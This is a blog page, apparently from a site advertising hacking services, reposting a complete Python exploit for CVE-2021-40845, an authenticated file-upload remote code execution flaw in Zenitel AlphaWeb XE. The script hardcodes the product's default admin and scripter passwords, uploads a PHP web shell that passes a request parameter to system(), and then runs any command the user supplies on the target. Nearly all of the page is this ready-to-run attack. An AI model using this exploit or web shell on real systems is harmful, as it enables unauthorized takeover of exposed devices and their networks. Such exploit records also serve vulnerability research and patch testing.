Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863105320

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: AlphaWeb XE - File Upload Remote Code Execution (RCE) (Authenticated)
# Date: 09/09/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor website: https://www.zenitel.com/
# Product website: https://wiki.zenitel.com/wiki/AlphaWeb
# Example: python3 CVE-2021-40845.py -u "http://$ip:80/" -c "whoami"
# Reference: https://github.com/ricardojoserf/CVE-2021-40845

import requests
import base64
import argparse

# Default credentials, change them if it is necessary
admin_user = "admin"
admin_pass = "alphaadmin"
scripter_user = "scripter"
scripter_pass = "alphascript"


def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
	parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
	my_args = parser.parse_args()
	return my_args


def main():
	args = get_args()
	base_url = args.url
	url_main =   base_url + "/php/index.php"
	url_upload = base_url + "/php/script_uploads.php"

	command = args.command
	uploaded_file = "poc.php"
	url_cmd = base_url + "/cmd/" + uploaded_file + "?cmd=" + command

	login_authorization =  "Basic " + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii'))
	upload_authorization = "Basic " + str(base64.b64encode((scripter_user+":"+scripter_pass).encode('ascii')).decode('ascii'))

	headers_login = {
		"Authorization": login_authorization,
		"Cache-Control": "max-age=0"
	}

	headers_upload = {
		'Authorization': upload_authorization,
		'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="92"',
		'sec-ch-ua-mobile': '?0',
		'Upgrade-Insecure-Requests': '1',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
		'Sec-Fetch-Site': 'same-origin',
		'Sec-Fetch-Mode': 'navigate',
		'Sec-Fetch-User': '?1',
		'Sec-Fetch-Dest': 'iframe',
		'Accept-Encoding': 'gzip, deflate',
		'Accept-Language': 'en-US,en;q=0.9',
	}

	files = {
		"userfile":(uploaded_file, "<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"),
	}

	s = requests.session()
	# Login as admin
	s.get(url_main, headers = headers_login)
	# Upload file
	upload = s.post(url_upload, files=files, headers = headers_upload)
	# Execute command
	cmd = s.post(url_cmd)
	print(cmd.text.replace("<pre>","").replace("</pre>",""))


if __name__ == "__main__":
    main()